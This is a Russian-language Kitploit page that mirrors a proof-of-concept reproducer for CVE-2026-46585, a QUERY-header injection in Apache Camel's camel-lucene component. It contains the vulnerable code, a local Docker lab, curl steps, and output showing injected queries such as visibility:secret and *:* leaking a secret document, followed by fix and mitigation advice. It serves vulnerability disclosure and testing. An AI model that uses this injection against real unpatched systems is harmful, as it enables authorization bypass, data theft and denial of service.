Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-46585 — Воспроизведение уязвимости CVE-2026-46585: Apache Camel camel-lucene, инъекция в заголовок QUERY, позволяющая обход авторизации / экфильтрацию данных индекса (исправлено в 4.14.8/4.18.3/4.21.0) | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-46585
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхТестирование на Проникновение
GitHuboscerd/cve-2026-46585

CVE-2026-46585

Воспроизведение уязвимости CVE-2026-46585: Apache Camel camel-lucene, инъекция в заголовок QUERY, позволяющая обход авторизации / экфильтрацию данных индекса (исправлено в 4.14.8/4.18.3/4.21.0)

Репозиторий
21 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

camel-lucene QUERY Воспроизведение инъекции в заголовок (CVE-2026-46585)

Этот проект демонстрирует инъекцию в заголовок сообщения / обход авторизации в компоненте camel-lucene Apache Camel, отслеживаемую как CVE-2026-46585. Производитель Lucene-запросов читает фразу полнотекстового поиска из заголовка Exchange, но имя заголовка было обычной строкой QUERY (и RETURN_LUCENE_DOCS для флага docs). Поскольку эти имена не начинаются с префикса Camel / camel, HttpHeaderFilterStrategy — который блокирует только пространство имён заголовков Camel на HTTP-границе — пропускал их из входящего HTTP-запроса прямо в Exchange. Любой HTTP-клиент, обращающийся к маршруту, который открывает Lucene-запрос за HTTP-потребителем, может установить заголовок QUERY, и его значение будет выполнено против индекса, .

переопределяя запрос, который маршрут собирался выполнить

Этот PoC демонстрирует воздействие как обход авторизации / эксфильтрацию данных: неаутентифицированный клиент внедряет синтаксис сырого Lucene-запроса, чтобы прочитать документ, который публичная поисковая конечная точка не должна была возвращать (а запрос match-all выгружает весь индекс).

Уведомление: https://camel.apache.org/security/CVE-2026-46585.html

Сводка уязвимости

СвойствоЗначение
Компонентcamel-lucene
Затронутый классorg.apache.camel.component.lucene.LuceneQueryProducer, читающий LuceneConstants.HEADER_QUERY (значение "QUERY")
CWECWE-20 (Некорректная проверка входных данных) / CWE-639 (Обход авторизации через управляемый пользователем ключ)
ВоздействиеHTTP-клиент устанавливает заголовок QUERY → выполняется произвольный Lucene-запрос → чтение документов вне предназначенной области или ресурсоёмкие запросы с регулярными выражениями
ПредусловияМаршрут открывает доступ к производителю lucene:...:query через HTTP-потребителя (например, platform-http); неаутентифицирован, когда потребитель —
Затронутые версииС 4.0.0 до 4.14.8, с 4.15.0 до 4.18.3, с 4.19.0 до 4.21.0
Исправленные версии4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23509
АвторыAndrea Cosentino (Apache Software Foundation) и Yu Bao (PayPal)

Относится к тому же семейству инъекций в заголовок, что и CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 и CVE-2026-46457, и имеет ту же корневую причину — константу заголовка без префикса Camel — что и родственный компонент camel-elasticsearch SEARCH_QUERY.

Технические детали

root@kitploit:~
// LuceneConstants (affected 4.18.2) — the header name is the bare word "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";

// LuceneQueryProducer.process (affected 4.18.2) — the phrase comes straight from that header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
    searcher.open(indexDirectory, analyzer);
    hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs);   // attacker-controlled
}

LuceneSearcher разбирает фразу с помощью классического QueryParser("contents", analyzer), поэтому атакующий получает полный синтаксис Lucene-запросов: термины с указанием поля (visibility:secret), match-all (*:*), подстановочные знаки и дорогостоящие регулярные выражения.

Исправление (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23509) переименовывает значения констант заголовков в соответствии с соглашением Camel — HEADER_QUERY меняется с QUERY на CamelLuceneQuery, а HEADER_RETURN_LUCENE_DOCS на CamelLuceneReturnLuceneDocs — поэтому они отфильтровываются на HTTP-границе, как и любой другой управляющий заголовок Camel. Имена констант не изменились (маршруты, ссылающиеся на LuceneConstants.HEADER_QUERY, продолжают работать); это критическое изменение только для маршрутов, которые устанавливают/читают эти заголовки по их строковому значению.

Уязвимый маршрут

root@kitploit:~
from("platform-http:/search")
    .removeHeaders("Camel*")                                  // documented hardening — see below
    .to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
    .process(/* render the Hits as text */);

Модель безопасности автора маршрута: «эта конечная точка обслуживает только публичный поиск». В качестве документированного усиления маршрут даже удаляет пространство имён управляющих заголовков Camel на границе с помощью removeHeaders("Camel*"). Это не помогает: управляющий заголовок называется QUERY, а не CamelLuceneQuery, поэтому он не удаляется ни этим вызовом, ни встроенным фильтром HTTP-заголовков — в этом и заключается суть CVE (и именно это решает переименование в исправлении).

Индекс содержит три публичных документа и один секретный документ с тегом visibility:secret, чьё тело содержит безобидный флаг-маркер. Обычный публичный поиск (QUERY=onboarding, обычный термин по полю contents по умолчанию) никогда не возвращает его, а инъекционный запрос с указанием поля — возвращает.

Структура репозитория

Жертва — это маршрут поиска Camel и его индекс; атакующий — неаутентифицированный HTTP-клиент, который только устанавливает заголовок запроса. Всё работает в одном автономном приложении.

root@kitploit:~
CVE-2026-46585/
├── pom.xml                 # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── IndexConfig.java          # registers the index directory as a Camel bean (#kbIndexDir)
    │   ├── IndexBootstrap.java       # builds the Lucene index: 3 public docs + 1 secret doc (the flag)
    │   ├── VictimRoute.java          # from("platform-http:/search").to("lucene:kb:query")
    │   └── ExploitController.java    # attacker: GET /search with an injected QUERY header
    └── resources/
        └── application.properties

Предварительные требования

  • Java 17+ и Maven 3.8+
  • Docker (необязательно, для запуска в контейнере)

Шаги по воспроизведению

Вариант A — Docker (рекомендуется)

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Вариант B — запуск jar напрямую

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack

Ожидаемый результат

root@kitploit:~
=== 1) Legitimate public search (QUERY=onboarding) ===
  hits=2
    - Frequently asked questions about billing and account onboarding.
    - Welcome onboarding guide: how to use the public knowledge base and search for articles.
  secret leaked: false

=== 2) Injected query (QUERY=visibility:secret) ===
  hits=1
    - CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
  secret leaked: true

=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
  hits=4
    - ... (every document, including the secret one) ...

>>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true

Легитимный поиск по термину возвращает только публичные документы. Атакующий запрос — отличающийся только значением одного-единственного заголовка, который фреймворк должен был отфильтровать, — читает секретный документ, а запрос match-all возвращает весь индекс.

Векторы атаки

Любой маршрут с производителем lucene:...:query, доступным через HTTP-потребителя. Помимо чтения не предназначенных для этого документов, атакующий может:

  • Заменить предусмотренный маршрутом фильтр для конкретного пользователя/тенанта на *:* или другой предикат по полям (обход авторизации).
  • Отправлять ресурсоёмкие запросы с подстановочными знаками / регулярными выражениями, чтобы нагружать CPU (отказ в обслуживании).

Рекомендуемое исправление

Обновитесь до версии 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23509). После обновления маршруты, которые задают запрос через исходное имя заголовка, должны использовать CamelLuceneQuery (и CamelLuceneReturnLuceneDocs) вместо QUERY / RETURN_LUCENE_DOCS; эти имена в пространстве имён Camel отфильтровываются на HTTP-границе, как и любой другой управляющий заголовок.

Меры по смягчению последствий

До обновления:

  1. Удаляйте заголовки, контролируемые атакующим, перед производителем Lucene и задавайте запрос из доверенного источника: .removeHeader("QUERY") и .removeHeader("RETURN_LUCENE_DOCS"), затем .setHeader("QUERY", constant(...)) (или формируйте его из проверенных входных данных) в начале маршрута.
  2. Не открывайте производителя Lucene-запросов напрямую недоверенным HTTP-клиентам без проверки авторизации на то, какие данные могут быть запрошены.

Отказ от ответственности

Данный репродуктор предоставлен только для исследований в области безопасности и санкционированного тестирования и предназначен для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.

Скачать инструмент